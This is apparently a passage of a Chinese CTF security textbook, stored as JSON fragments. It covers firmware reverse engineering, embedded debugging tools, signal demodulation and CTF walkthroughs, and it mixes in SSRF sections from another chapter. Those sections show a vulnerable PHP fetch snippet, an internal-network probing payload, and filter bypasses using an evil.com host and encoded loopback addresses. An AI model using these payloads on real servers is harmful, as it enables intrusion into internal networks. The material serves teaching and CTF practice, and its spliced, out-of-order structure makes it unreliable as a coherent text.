ARM这道题，程序在实际运行时是没有操作系统的，属于裸机运行的模式，其文件结构并不符合elf标准，因此在ARM-Linux环境中是无法正常运行的。这时候就需要一些针对裸机系统的模拟工具。日本有一个实验室制作了几乎所有的芯片交叉编译环境，同时还提供了对应平台的模拟器用于运行程序，还有ld、as和gdb之类的工具，非常方便。读者可以自行下载（ http://kozos.jp/vmimage/burning-asm.html ），该编译环境是一个基于CentOS的虚拟机，以ARM环境为例，可以使用arm-elf-run程序来运行我们要分析的目标。实际功能还有很多，大家可以自行挖掘。 另外，如果不习惯使用虚拟机，也可以使用Docker，功能是完全相同的，下载地址为 https://hub.docker.com/r/blukat29/cross/ 。"},
    {"text": "未知 27.7 专业调试工具 本节将向大家介绍一些商业软件，下文介绍的工具本属于电子工程师所使用的开发和调试工具（大多数电子工程师仅会使用它的编译器以及调试环境），但由于其具有强大的仿真内核，可以完美仿真其宣传所支持的产品，而且这些软件甚至可以直接调试生成的hex或者bin/elf文件，正好为我们做逆向分析提供了方便。"},
    {"text": "这里还需说明一点的是，MDK在5.x版本之前，采用了集成所有当时所支持CPU的方式，因此安装后直接可用，而在5.x版本之后，默认不安装任何Device Pack，即芯片支持包，而是采用组件的方式来让用户自行选择所需要支持的CPU包。"},
    {"text": "因此安装好μVision本体还是不够的，还需要安装对应的Device Pack，对应的Device Pack可以到这里下载： https://www.keil.com/dd2/pack/ ，一般下载对应厂商的Pack即可。"},
    {"text": "安装软件的过程这里不再赘述，如果有不明白的地方可以自行参考网络上的教程，这里给出新建工程以及调试的方法。 首先我们单击Project→NewμVision Project…，如图27-20所示，然后随便找个地方保存即可（在创建工程之前，首先将要调试的hex文件与工程放在同一个目录下）。"},
    {"text": "图27-20 MDK创建工程后的保存对话框 图27-21 MDK选择CPU界面 由于之前已经下载好了对应的Device Pack，所以这里直接选择了STM32F103CB，至于尾缀可根据需要酌情选择。"},
    {"text": "图27-22 创建工程后弹出的窗口 这个功能是开发时才需要使用的，而我们的需求并不需要这个，所以直接Cancel即可，到这里，就完成了工程的创建了。"},
    {"text": "图27-23 MDK主界面 接下来，在Source Group 1上单击右键，将我们打算分析的hex文件加入工程，操作如图27-24所示。 图27-24 为工程添加文件 在弹出的对话框中，文件类型选择All Files(*.*)，然后找到我们需要的hex即可，如果是bin文件则与之同理，如图27-25所示。"},
    {"text": "图27-26 工程设置的打开方法 接着会弹出如图27-27所示的Options选项卡，选中Debug选项卡，在该页面中选中左上角的Use Simulator，然后去掉选项卡下方的Load Application at Startup复选框。"},
    {"text": "图27-27 工程设置界面 最后，依次选择Debug→Start/Stop Debug Session或者按Ctrl+F5启动仿真调试，进入如图27-28所示的窗口。 图27-28 调试窗口 最后一步，在底部的Command窗口中，输入load ConfusedARM.hex，如图27-29所示，回车确认即可。 图27-29 在Command窗体输入加载命令 然后，单击左上角的RST按钮： ，PC指针就会回到hex文件的入口点，如图27-30所示。 图27-30 调试开始 下断点的方法为，在要下断点的位置前的灰色或绿色区域单击即可，如图27-31所示。"},
    {"text": "图27-32 调试界面总体布局 另外，寄存器区只有基本的内核寄存器，如果要查看GPIO或USART的寄存器状态，就要用到其中的System Viewer功能了，依次选择Peripherals→System Viewer，如图27-33所示。 这里包含了所有外设的寄存器，可以选择某一个外设进行查看，其仿真功能还是非常全面的。"},
    {"text": "单击工具栏上的Serial Windows选择对应的USART即可，如图27-34所示。 打开之后，我们就可以在右下角的UART#1窗口中与程序进行UART交互了，如图27-35所示。"},
    {"text": "介绍了这么多，可以说MDK是最为强大的嵌入式处理器调试工具，运用得当将会起到事半功倍的效果，当然，这款软件的功能也不仅仅只有那么多，更多的调试技巧还请读者自行练习和发现。"},
    {"text": "图27-33 System Viewer打开位置 图27-34 UART窗体打开位置 图27-35 UART窗体显示当前固件的输出 2.AVR Studio AVR Studio是ATMEL公司为其AVR单片机开发的集成环境汇编及开发调试软件，可以免费使用。 ATMEL AVR Studio集成开发环境（IDE）包括AVR Assembler编译器、AVR Studio调试工具、AVR Prog串行、并行下载功能和JTAG ICE仿真等功能。 AVR Studio汇集了汇编语言编译、软件仿真、芯片程序下载、芯片硬件仿真等一系列基础功能，与任意一款高级语言编译器配合使用即可完成高级语言的产品开发调试。 这款软件是专门为AVR单片机设计的，具有很强的仿真功能，利用软件仿真功能可以十分准确地调试AVR单片机的程序。"},
    {"text": "由于AVR Studio为免费软件，大家可以去Atmel的官网下载（ http://www.atmel.com/tools/ATMELSTUDIO.aspx ）。 安装过程非常简单，下面主要介绍如何使用，本书以AVR Studio 4.13为例，截至写作本章时的最新版本为7.0，两个版本略有区别，但使用上大同小异，在新版本的AVR Studio中，着重增强的是开发方面的功能，很多功能对我们来说并没有用，因此轻量级的4.13也是不错的选择，关键在于，如果要使用下一节提到的Hapsim模拟工具的话，那么该工具并不会支持更高版本的AVR Studio，所以这里笔者建议读者并不需要非得选择最新版本，对于MCU的仿真功能，4.x版本已经足够使用。 打开AVR Studio之后，默认会弹出Welcome窗口，如图27-36所示，如果没有弹出，那么可以依次选择Project→Project Wizard打开Welcome窗口。 图27-36 AVR Studio启动界面 在Welcome窗口中，直接单击Open。"},
    {"text": "图27-37 AVR Studio选择模拟器界面 因为我们没有具体的芯片，所以这里选择模拟器AVR Simulator，具体芯片型号根据实际需要进行选择即可。 选择完毕后点击Finish按钮，完成之后就进入调试界面，如图27-38所示。 图27-38 AVR Studio调试界面 在调试界面中依次选择View→Memory Window即可打开内存查看器，查看内存中的数据值，但是需要注意的是，AVR单片机为哈弗结构的单片机，因此存储区可分为程序存储区和数据存储区，在实际使用时，要注意选对区域，否则查看到的将是错误的值。"},
    {"text": "图27-39 内存查看器 总之，AVR Studio的使用还是非常容易上手的，更多的功能，还请各位读者自行尝试和发现，用多了大家就会发现，AVR Studio确实是一款AVR全系列调试的利器。"},
    {"text": "在使用Hapsim软件之前，需要先启动AVR Studio，并使用可执行文件，利用前文中讲到的方法创建好工程，然后，启动Hapsim软件即可，如图27-40所示。"},
    {"text": "比如，如果我希望使用TWI与程序进行交互，则可以通过依次选择File→New Control→Terminal来创建一个Terminal，如图27-41所示。 图27-41 创建Terminal界面 这样就可以创建一个Terminal了，然后还需要根据实际使用情况进行一些设置，比如，如果想连接TWI和Terminal，就需要在Options→Terminal Settings选项中进行相应的设置，如图27-42和图27-43所示。 如图27-43所示，在Serial模式中选择TWI，同时为了方便，勾选Local Echo前的方框。 单击OK按钮之后，就可以通过Terminal窗口和程序的TWI进行通信了，如果是USART，在Serial选项中相应选择USART即可。"},
    {"text": "未知 27.8 反编译工具 基于以上分析，我们已经可以找到正确的反汇编分析方法了，然而IDA目前泄露出来的6.8版本，只能进行x86/x86_64和ARM32的反编译操作。而即使是最新的6.9版本，也只是增加了aarch64和PPC的反编译支持。对于IoT程序的分析，反编译工具可以提供非常多的便利。 当然，如果没有最新的IDA也没关系。这里为大家提供了一个代替方案，有一个名为Retargetable Decomplier的在线免费反编译工具，目前支持x86、ARM、MIPS、PIC32和PPC平台的反编译，该工具在很大程度上能够代替IDA F5的功能，并且还能够支持目前IDA尚不支持的MIPS和PIC32，同时也提供了一个IDA的插件，使用上还是比较方便的。而且在线反编译提供的反编译结果也足够方便阅读。 在此笔者将此工具推荐给大家（ https://retdec.com/decompilation/ ），在大多数情况下，只需要上传bin文件即可下载到反编译后的源码。当然，大家也可以进一步选择使用该工具提供的API和IDA插件以进行更高级的交互式反编译分析。 未知 4.1 如何形成 SSRF形成的原因大都是由于服务端提供了从其他服务器或应用中获取数据的功能，但没有对目标地址做出有效的过滤与限制造成的。 比如，一个正常的Web应用本应该从指定URL获取网页文本内容或加载指定地址的图片，而攻击者利用漏洞伪造服务器端发起请求，从而突破了客户端获取不到数据的限制，如内网资源、服务器本地资源等。 为了方便读者理解，下面举例说明，请考虑如下代码： <?php $url = $_GET['url']; echo file_get_contents($url); ?> 这段代码使用file_get_contents函数从用户指定的URL获取图片并展示给用户。此时如果攻击者提交如下Payload，就可以获取到内网主机HTTP服务8000端口的开放情况（ http://example.com/ssrf.php?url=http://192.168.252.1:8000/ ）。 图4-1所示的就是一个SSRF攻击的示例。 图4-1 SSRF攻击示例 未知 第28章 固件结构分析 在前面的章节中，我们讨论了裸机系统（即整个固件就是一个程序）的固件逆向工程方法，但是在实际环境中，我们碰到的固件多是一系列文件或者文件系统，甚至是数据和代码的混合，这种时候我们就需要对固件结构先进行分析，从中分离出代码、文件以及部分数据后再进行更加精确的分析。甚至在有些固件中，存在压缩或加密的代码或者数据，此时我们也需要先对该部分数据进行解压或者加密处理，然后才能继续对其进行分析。本章就为大家介绍复杂固件的分析方法。 未知 28.1 常见固件类型 在前面的章节中，笔者已经向大家介绍了单片机程序的分析方法，那么，接下来我们来分析嵌入式系统的固件。在前文中已经介绍过固件的概念，本章将展开详细介绍。 事实上，在介绍完单片机软件逆向工程的时候，我们已经分析了一种最基本的固件，那就是裸机程序。裸机程序是组成最为简单的固件，只包含代码和代码需要引用的数据。更复杂的固件往往会含有不止一个可执行文件。也许此时你会想到，更复杂的固件是不是仍然会包含文件系统呢？答案是肯定的，在这里笔者可以负责任地告诉大家，固件就是程序+文件系统的组合，由文件系统将多个程序组合成一个更大、更复杂的二进制文件。当然这里的大小指的是一个相对的概念。很多时候，固件的大小往往只有几MB，而在Windows或Linux上的可执行文件动辄就是几百MB，当然两者是不能比的，相比而言，固件是麻雀虽小，五脏俱全。 本节将会列举一些常见的固件类型，大概可分为如下几种。 · 裸机程序 ：前面已经提到过，它是组成最简单的固件，也是最容易分析的固件，IDA可以正确识别并分析这种类型的固件。 · 文件系统镜像 ：往往包含完整的嵌入式文件系统，内部组织了多个文件结构，还可能会维护Linux的根目录，需要根据具体服务提取相应的bin文件进行分析。文件系统镜像还会包含众多的配置文件诸如xml或conf/ini文件等。 · 带压缩的镜像 ：嵌入式系统在空间上通常会希望结构尽可能紧凑，所以希望对固件内容进行压缩，由引导代码进行解压操作，这类固件的主体内容已经被压缩，因此提取和分析固件代码的难度会更大。此类固件往往是只读的。 · 带压缩的文件系统 ：与带压缩的镜像类似，这种固件采用了支持压缩的文件系统，例如Squashfs这类文件系统，可以使用lzma之类的算法对文件系统主体进行压缩，当然也正因为如此，这种固件在实际运行时，文件系统也是只读的。 由于裸机程序在前文中已经有了详细的分析，因此本节将着重介绍文件系统的分析。关于固件的识别，在Linux中仍然可以使用常用的binwalk、file等命令进行初步的判定。"},
    {"text": "未知 28.2 Flash文件系统 与普通计算机系统不同的是，嵌入式系统往往需要使用低成本的存储器，诸如EEPROM或Nor/Nand Flash等，这些存储器在特性、写入和磨损性能上，与机械硬盘乃至SSD有着诸多区别。因此，在文件系统设计上，也并不适合直接照搬PC上的常用文件系统，所以在这样的环境下，就诞生了许多针对Flash存储器而设计的特殊文件系统，这里列举一些最常见的Flash文件系统，具体如下。 · JFFS/JFFS2： 全名是Journalling Flash File System，是Red Hat公司开发的闪存文件系统，最早是为NOR Flash设计的，自2.6版本以后开始支持NAND Flash，极适合用于嵌入式系统，多见于32MB以下的Nor型Flash固件中。它支持三种压缩算法：zlib、rubin以及rtime。 · YAFFS/YAFFS2： 全称为Yet Another Flash File System，是由Aleph One公司发展出来的NAND flash嵌入式文件系统。与JFFS不同的是，YAFFS最初是专门针对Nand型Flash所设计的，对于大容量的Flash读写更有优势，而JFFS在小容量的FLASH中更具优势，两者各有侧重。这种文件系统多见于128MB以上的Nand型Flash固件中。 · Squashfs： 是一套供Linux核心使用的GPL开源只读压缩文件系统。Squashfs能为文件系统内的文件、inode及目录结构提供压缩操作，并支持最大1024千字节的区块，以提供更大的压缩比。这种文件系统多用于存储资源紧张的场合，OpenWrt以及DD-Wrt的固件使用的就是这种文件系统。多见于4～16MB的Nor型Flash中。"},
    {"text": "未知 28.3 固件基地址确定方法 在前面的讨论中，我们是用IDA加载分析hex文件，但在很多时候，我们拿到的是一个并不包含加载基地址信息的固件，这时候就需要通过一些方法来确定加载地址，并在IDA中使用正确的基地址加载程序，才能得到正确的分析结果。但在没有任何信息的时候，确定基地址确实是非常难的，本节会根据笔者的经验总结一些常用的方法，在碰到具体问题时，往往还需要各位读者仁者见仁、智者见智使用一切资源去分析。需要注意的是，确定固件基地址并不是必须的，只有在某些特殊情况下才需要。例如，裸机程序的bin文件，需要自行确定基地址。某些使用了多个操作系统的固件，例如，华为某些终端使用了vxworks操作系统，并非elf格式的文件，其内核代码直接加载入内存，此时如果要使用IDA静态分析，则仍然需要确定基地址。 1.查阅Datasheet 对于裸机程序，其加载的基地址一定是确定的，而该地址在Datasheet中是可以找到的，而且一般就是程序存储区的起始地址。以上文中提到的Confused ARM为例，其加载地址0x08000000就是Memory Maps中Flash区域的起始地址。对于其他芯片的裸机程序，同样可以通过查询Datasheet得出结论。 2.在固件分区表中查找 这里以某款3G路由的固件为例（该路由比较有代表性），该固件是一种典型的固件结构，在固件最头部有分区表，标明了每个分区的加载地址，若没有加载地址则表示该分区不会被映射到内存中。分区表的结构大概如图28-1所示。 图28-1 一个固件头部的分区表信息 图28-1中，VxWorks分区，可以看到，0x30003F80就是加载vxworks分区的基地址（注意字节是4字节对齐的，不要找错位），若这个位置上的4字节均为0，则说明该分区不会被映射进内存。其中，前面的0x01b00000是指该分区的最大大小，对于有分区表的固件来说，确定要分析区域的基地址可以比较方便地在分区表中找到。 3.一些特殊技巧 确定固件基地址并不是一件容易的工作，不过针对特别的架构还是存在一些特殊技巧的，例如PPC架构，利用其汇编语言的特性，仍然可以快速确定固件的基地址。这里介绍一下在Power PC程序下的特殊技巧。在PowerPC中，虽然寄存器是32位的，但是如果要将数据装入寄存器中，由于其指令宽度的限制，一条指令只能操作16位数据，所以指令中会使用@highest:Bit[48~63]、@higher:Bit[32~47]、@h:Bit[16~31]、@l:Bit[0~15]这4种标记来表示取操作数的具体哪一部分。对于32位的PowerPC，寄存器是32位的。因为每次只能取16位，所以第16位被看作符号，在操作的时候，操作数会被当作符号扩展。例如，指令“li r25,0x80008000@l”，在操作时，bit15是1，所以低16位被符号扩展为0xffff8000，然后装入r25。 理解了这一点，我们再来看@ha。@ha是为了在装入地址的时候防止由于符号扩展而引起错误才引入的一种标记，特点是，@ha并不直接取高16位，而是将新数的bit16当作符号位并且根据bit15来进行设置。举个例子，“lis r25,0xc0008000@ha”，在取高16位时，由于bit15为1，所以相应地，在操作后也将bit16设置为1，即r25=0xc0010000。这个特性对我们来说有什么作用呢？接下来举一个实际例子。比如，加载固件后，IDA默认从地址0开始加载。我们找一条以@ha结尾的指令，如图28-2所示。 图28-2 PowerPC固件中的相对寻址指令 显然，这里我们要加载到r9的寄存器地址为0x339ab8，而如果image base为0的话，那么我们看一下这样操作会发生什么，具体如下。 由于bit15为1，@ha会将bit16设置为1，而现在的情况是，bit16已经为1，即r9=0x330000。而下一句，r9加上了地址@l，即0xffff9ab8，注意在现在这种情况下，0xffff9ab8+0x330000=0x329ab8，并不等于0x339ab8，加载地址是错误的，也就是说，要加载的该地址并非0x339ab8，那么应该是多少呢？根据观察可以发现，当加载的地址为0x349ab8时，这两句的结果是正确的，即0xffff9ab8+0x350000=0x349ab8，符合地址，因此可以推断，该固件的基地址为0x10000。在PowerPC的固件分析中，可以巧妙地使用这个特性，以确定基地址。 而至于ARM/MIPS等结构，目前并没有十分有效的方法可以在信息完全未知的条件下只通过指令判断基地址，因此此类固件还是需要经验以及额外的信息来进行辅助判断，这样会更有效一些。"},
    {"text": "未知 28.4 固件分析工具 在某些情况下，我们不仅需要固件中的代码，还需要提取其中的配置文件，比如Web页面的管理员配置文件以及分析文件系统结构等。本节将介绍一些解包固件的常用工具。 1.Firmware Mod Kit Firmware Mod Kit简称fmk，固件编辑工具，广泛应用于Squashfs类型的固件编辑，支持多款路由器。经过测试的固件有OpenWrt和DD-Wrt的所有固件，以及TP-Link、ASUS、D-Link的大部分路由型号的固件。因此，如果大家拿到的是Squashfs格式文件系统的固件，可以首先尝试使用此工具来提取分析。此工具最早放在Google code上，如今Google code已经关闭，大家可以到Git Hub的镜像上下载（ https://github.com/mirror/firmware-mod-kit ）。使用其中的extract-firmware.sh脚本就可以提取固件。 2.mtd-utils 由于jffs/jffs2和yaffs/yaffs2是基于MTD的文件系统，因此可以使用Linux下的mtd-utils中的内核工具来获得对这两种文件系统的支持。此节将介绍如何使用mtd-utils直接挂载此类固件。这里以jffs2为例，具体步骤如下。 1）首先安装好mtd-utils，ubuntu可以直接使用apt-get安装。 2）想要识别jffs2文件系统，宿主机Linux首先要能识别这个文件系统。 使用cat/proc/filesystems查看内核是否已经支持jffs2文件系统。如果不支持，则使用modprobe jffs2命令开启内核对jffs2的支持。 3）加载mtdram模块、mtdblock模块。 modprobe mtdblock modprobe mtdram total_size=12288 其中，total_size的单位是KB，并且其大小要大于固件的大小，否则在复制固件时会出现空间不足无法继续的问题。加载完毕后，在dev目录中会出现/dev/mtdblock0。 4）复制jffs2镜像文件到/dev/mtdblock0： dd if=jffs2-rootfs.img of=/dev/mtdblock0 5）最后一步，挂载mtdblock0即可： mount -t jffs2 /dev/mtdblock0 /mnt 这样，我们就成功地将jffs2固件挂载到/mnt中了，接下来就可以很方便地使用文件浏览器去浏览其中的文件，以及提取固件中的某些内容了。yaffs2与此同理，也可以挂载，读者可以自行实践。 未知 第29章 无线信号分析 近期的CTF比赛中，除了出现了大量综合性IoT固件分析类赛题之外，还出现了不少与通信相关的题目。当然，无线通信安全是一个非常古老的话题，早在二战时期，军事专家们就对此进行了大量分析，也由此产生了大量的安全方法以及攻防思路。但在线上比赛中，此类题目的出题方式比较受限制，因此在本书中，针对一些可能出现的题型，将会介绍一些有用的基础知识以及分析方法。 未知 29.1 无线通信基本理论介绍 无线通信是一门很大的专业，其中包含的理论数不胜数、高深莫测。如果要详尽叙述，那就是通信专业几十门课程的体量了。但考虑到CTF比赛中已经涉及了部分简单的无线通信相关问题，因此在本节中做一些简单介绍，帮助读者掌握此类题目的解题套路和方法。本节将会提出一些在后面会使用到的概念，具体如下。 · 射频信号： 射频信号就是经过调制的，拥有一定发射频率的电磁波。其本质就是电磁辐射，用于传递信息。 · 频谱： 表示一个信号包含的频率范围，即信号通过傅立叶分解后，可以看到其频率的组成。 · 绝对带宽： 一个信号所包含的所有频谱分量的宽度。 · 有效带宽： 对于频谱无限宽的信号，其绝大部分的能量都集中在相当窄的频带内，这个频带称为有效带宽。 关于频谱的直观解释，图29-1用最直观的角度阐述了频谱的物理意义和数学意义，读者们可以结合其他资料来理解。可以说，理解了频谱，对于无线通信相关的知识就已经理解了大半。 图29-1 无线信号的傅立叶分解"},
    {"text": "未知 29.2 常见调制方式与解调方法 由于线上赛的限制，出题者不可能给出设备来分析或抓取空间中的无线信号，因此，往往都采用向选手提供原始信号采样波形的方式。我们需要掌握的就是数字信号处理的方法，在没有这些方法之前，相信各位读者都能直观地想出一些所谓的“土方法”，也能通过脚本解决问题。但这些方法其实并非问题的本质，若要详细说道，仅凭本书还远远不够。本节将结合目前比赛中容易出现的类型，专门为大家分析归类。目前比赛中已出现的无线信号分析类题目还处于比较简单的阶段，毕竟大家不都是通信专业的学生。在此可将无线信号分析类题目归类为如下两种。 1.曼彻斯特编码 曼彻斯特编码也称为相位编码（Phase Encode，PE），是一种同步时钟编码技术，被物理层使用来编码一个同步位流的时钟和数据。它在以太网媒介系统中的应用属于数据通信中的两种位同步方法里的自同步法（另一种是外同步法），即接收方利用包含同步信号的特殊编码从信号自身提取同步信号来锁定自己的时钟脉冲频率，以达到同步的目的。 曼彻斯特编码常用于局域网传输或无线电信号传输。曼彻斯特编码将时钟和数据包含在数据流中，在传输代码信息的同时，也将时钟同步信号一起传输给对方，每位编码中都有一跳变，不存在直流分量，因此具有自同步能力和良好的抗干扰性能。但每一个码元都被调成两个电平，所以数据传输速率只有调制速率的1/2。 在曼彻斯特编码中，每一位的中间都有一跳变，位中间的跳变既可作时钟信号，又可作数据信号；从低到高跳变表示“1”，从高到低跳变表示“0”。还有一种是差分曼彻斯特编码，每位中间的跳变仅提供时钟定时，而用每位开始时有无跳变表示“0”或“1”，有跳变为“0”，无跳变为“1”。 需要特别注意的是，在每一位的“中间”必有一跳变，根据此规则，可以得出曼彻斯特编码波形图的画法。例如，传输二进制信息0，若将0看作一位，则我们以0为中心，在两边用虚线界定这一位的范围，然后在这一位的中间画出一个电平由高到低的跳变。后面的每一位以此类推即可画出整个波形图。并且，曼彻斯特编码在实际使用时的规定有歧义，有时候使用从低到高的跳变表示为0，从高到低的跳变表示为1，有的场合下又会反过来。因此，在实际解题时，还需要各位选手在不确定的情况下对这两种情况都做一下尝试。 2.ASK ASK是最常见的二进制调试方式之一，用信号振幅的有和无分别表示1和0，其时域波形如图29-2所示，很容易区分。 图29-2 ASK调制的时域信号 下面看一个实际捕捉到的波形，如图29-3所示。 图29-3 实际捕捉到的ASK调制时域波形 从图29-3中可以很明显地看出，1和0分别用有波形和无波形表示，当然还有一个很明显的特点，就是最宽的信号是最窄信号宽度的2倍，这也意味着，在此次传输中使用了曼彻斯特编码。那么ASK是如何解调获得其所包含的内容呢？可以用程序扫描某一段时间内的最大值，如果最大值大于阈值，就表示为1，否则就表示为0。鉴于ASK比较简单，这种方法当然可行。不过，本节将向大家介绍一种通用方法，对于ASK调制，都可以使用通用方法。 ASK的通用解调方法为： [对原型号取绝对值或平方]–[低通滤波器]–[判决抽样]–[曼彻斯特解码] 具体的示例，将在后文中详细介绍，这种解调方式的重点在于，低通滤波器如何设计。 3.FSK FSK也是最常见的调制方式之一，用两种不同的频率表示0和1，比如用低频波形表示0，用高频波形表示1。在时域上看起来的样子如图29-4所示。 由图29-4可以看到，如果说ASK使用波形的有和无分别表示1和0的话，那么FSK就是使用波形的疏和密来分别表示二进制的0和1。与ASK不同的是，FSK不能再使用计算包络的方法来解调，既然是频率的区别，那么也可以通过每一段波形的过零点次数来区分频率，由此即可分析出调制过的信号。 图29-4 FSK调制的时域波形 FSK的通用解调方法为将该信号同时通过低通和高通滤波器，这样将得到两路互补的ASK信号，对两路信号分别进行包络判断和阈值检测，即可判断当前位是0还是1。"},
    {"text": "未知 29.3 Matlab在数字信号处理中的应用 Matlab作为工程计算的重要工具，对于信号分析与处理有着重要应用，其强大的滤波器设计工具箱是我们在本节中最需要关注的内容。本节就以ASK的例子为大家分析一下Matlab在数字信号处理中的使用方法。这里使用的功能主要是Matlab的sptool，即信号处理工具箱在滤波器设计方面的应用。由于Matlab为商业软件，因此大家需要自行下载安装。 打开Matlab之后，输入sptool，会弹出工具箱界面，如图29-5所示。 图29-5 sptool界面 由图29-5可以看出，工具箱的主要功能分为三栏，左边为我们待处理的时域信号，中间是滤波器，最右边是各种频谱工具。在大多数情况下，我们只会用到左边和中间两栏的功能。在使用前，我们首先需要将待处理的信号导入工具箱中。这里以ASK信号为例，依次选择File→Import导入我们希望处理的信号波形，如图29-6所示。 图29-6 导入信号界面 在导入信号之前，需要先将原始信号加入Workspace，加入方法这里不再赘述，可以直接使用UIOpen功能导入。选中信号x，单击右侧的箭头，表示将x信号导入sptool，Name可随意，默认为sig1，完成后点击OK按钮即可。接下来，信号sig1就出现在sptool的信号窗口中了，如图29-7所示。 图29-7 导入信号后的界面 单击Signals区域底部的View按钮，可以画出信号的原始波形，如图29-8所示。 接下来，我们进行最关键的步骤——滤波器的设计。单击Filters区域底部的New按钮，打开滤波器设计窗口，如图29-9所示。 以设计低通滤波器为例，在左下方的Response Type中选择Lowpass，其他选项保持默认设置即可，关键在于Frequency Specifications这个区域。Fs意为采样频率，这里可以随意给出一个值，比如1000，那么下方的Fpass和Fstop就需要我们通过Fs来计算了。我们看一下时域的波形，可以发现，波形的基本宽度为64个点的整数倍，如果采样率为1000的话，那么我们需要解调出方波波形的原始频率应该为64个点对应一个波形，那么1000个点对应的就是15.625个周期，而1000个点是每秒采样的点数，所以在假设采样率为1000时，可以推测出此时原信号频率为15.625Hz（注意，这个频率并非真实频率，而是我们通过Fs的假设后，用于计算参数的频率）。比如，我们的目标是保留原信号，滤掉原信号每个周期中的高频抖动，那么这里就设Fpass=16，Fstop=48（一般取Fstop=3Fpass，这是一个经验做法，如果效果不佳，则可以继续调整）。填完后单击Design Filter，滤波器就设计完毕了，如图29-10所示。 图29-8 预览时序波形界面 图29-9 滤波器设计界面 图29-10 滤波器设计完毕后的效果 完成后关闭窗口，此时，sptool的Filters区域就出现了我们刚才设计的filt1滤波器，如图29-11所示。 最后一步，应用滤波器，在Signals区域选中sig1，在Filters区域选中filt1，然后点击Apply按钮，会弹出Apply Filter窗口，如图29-12所示。 图29-11 滤波器保存后的效果 图29-12 滤波器使用界面 其他参数不变，Output Signal的名称可以自己选择，这里使用默认设置，单击OK按钮，此时在Signals区域就会出现一个新的sig2信号，效果如图29-13所示。 图29-13 滤波器应用之后的信号时序图 可以看到，时序图中现在就只剩下低频信号了。最后一步，如果需要在后面的计算中使用该信号，则可以使用File→Export功能，如图29-14所示。 图29-14 信号导出界面 如果要选中多个数据，可以按住Ctrl键点选。选择完毕后，点击Export to workspace按钮即可。这样，sig2就被导出至Workspace以供后续使用了。 未知 第30章 经典赛题讲解 IoT领域涉及的范围极广，并非一本书所能涵盖得了的，本书希望达到的目标更多是引导以及提供思路，并没有完全涵盖所有理论以及基础知识。本篇中提到的工具也是比赛解题中行之有效的工具，各个知识点都是笔者本人的经验技巧。本章作为本篇的最后一章，收集了近几年比较经典的IoT类赛题为大家进行集中讲解，同时扩展解题的思路，希望对于读者在今后的学习和比赛能够有所启发。 未知 4.2 防护绕过 很多开发者使用正则表达式的方式对SSRF中的请求地址进行过滤，具体表现如下。 ·限制请求特定域名。 ·禁止请求内网IP。 然而，这两种过滤都很容易被绕过，可用的方法具体如下： 1）使用 http://example.com@evil.com 这种格式来绕过正则。 2）IP地址转为进制（八进制、十进制、十六进制）及IP地址省略写法，举例说明如下。 ·0177.00.00.01（八进制） ·2130706433（十进制） ·0x7f.0x0.0x0.0x1（十六进制） ·127.1（IP地址省略写法） 以上4种写法均可表示地址127.0.0.1。 3）配置域名。如果我们手中有可控域名，则可将域名A记录指向欲请求的IP进行绕过操作： evil.example.com => 10.0.18.3"},
    {"text": "未知 30.1 PCTF2016：Confused ARM 本题的大部分关键点在第27章中都已经有过介绍，我们直接继续分析即可，最后的main函数，如图30-1所示。 其中，sub_80006A4、sub_80007F0、sub_8000A50这些函数看上去像是初始化函数，8000A50的参数115200其实是指定了波特率，因此可以大胆猜测这几个函数与我们关心的题目内容并不十分相关，所以我们着重要分析的是后面的几个函数。由于以0x20000000开始的地址在RAM中，仅通过静态调试并不容易分析出内容，所以这里采用第27章中的MDK来动态调试以辅助分析。我们在main函数的位置0x08001084处下断点，当到达main函数时，在Memory窗口中输入0x20000000，即可查看内存中的数据。其中，有一处数据引起了我们的注意，在sub_800560中引用了0x2000002C的数据，该处的输入如图30-2所示。 可以看到，0x2000002C处开始的数据为637C 777B…这个像什么？没错，这就是AES的SBox，所以我们可以大胆推测，这里使用了AES算法。而main函数中的Key是0x2000000C处的16字节数据，即为AES Key，我们从内存中很容易就可以看到，Key为0x430x420x410x400x470x460x450x440x4b 0x4a 0x490x480x4f 0x4e 0x4d 0x4c。那么加密的内容呢？通过观察我们很容易发现，sub_8000560和sub_800055c都是对key进行的操作，而sub_8000248使用了key对flag进行操作，那么0x200031C中的内容即为解密的flag，0x2000001C中的内容就肯定是需要解密的密文了。但实际上，在前面的图片中看到的flag提交了是不对的，同时根据题目提示，程序中有一处算法使用错误。根据实际情况分析，可以判断出sub_8000560和sub_800055c均为Key扩展相关的函数，修改注释如图30-3所示。 图30-1 整理后的main函数 图30-2 内存数据 由图30-3可以注意到，在AES_Decrypt处，在key扩展函数独立的情况下，加解密应该使用exp_key进行，而非十六字节的原始key，也即AES_Decrypt的第三个参数应该为exp_key才对，看到这里，我们就找到了算法的使用错误了，那么接下来patch一下，将key的地址改为exp_key的地址，步骤如下。 依次选择Edit→Patch Program→Change Byte，由于IDA没有ARM汇编器，所以只能编辑Bytes，在这里将R2改为exp_key，如图30-4所示。 图30-3 进一步识别关键函数 图30-4 对固件进行patch 同时还要修改R0，原来是0x2000000C+0x10，现在0x2000000C变成了0x2000026C，那么要相应减去0x00000250，最后的patch结果如图30-5所示。 图30-5 修改后的固件 由于IDA不支持保存到hex文件，因此我们直接将hex文件用文本编辑器打开，按图30-6所示的字节修改即可。 图30-6 用文本编辑器修改Intel hex文件 注意，行末的checksum原来为76，修改为如图30-6所示的结果后要改为E7，否则加载时会报checksum错误提示。关于Intel hex格式的checksum计算，大家可以参考图30-7。 图30-7 Intel hex格式 checksum为除了startcode和checksum部分的字节数值之和，并且计算过程中只保留了1字节，即对256取余。最后对0x100求补，即用0x100减去最后计算出的加和。patch后用MDK重新加载，然后打开UART#1窗口。加载完成后运行，在UART#1窗口中就能看到正确的flag了，如图30-8所示。 图30-8 UART窗口获得答案"},
    {"text": "未知 30.2 UCTF2016资格赛：TWI 拿到题目首先用file命令进行识别，命令如下： [root@kali:~ ]% file twi twi: ELF 32-bit LSB executable, Atmel AVR 8-bit, version 1 (SYSV), statically linked, stripped Atmel单片机的程序比较少见，不过早年在reversing.kr上已经有类似的题目了。 使用前面介绍的AVR Studio进行调试，同时结合IDA进行分析，如图30-9所示，sub_62函数在不停操作TWCR和TWSR寄存器，而这两个寄存器均是AVR的TWI外设所使用的寄存器，这也是本题的名字为TWI（Two Wire Inteface）的原因。本题的输入并非stdin或者UART。 使用hapsim辅助调试，创建TWI的Terminal，向程序发送数据。分析主函数，可以发现刚开始有一段会不停调用sub_62，这部分应该是读取数据的部分，在这段内容之后下一个断点分析，如图30-10和图30-11所示。 图30-9 TWI函数片段 图30-10 下断点位置 图30-11 AVR Studio中对应的断点位置 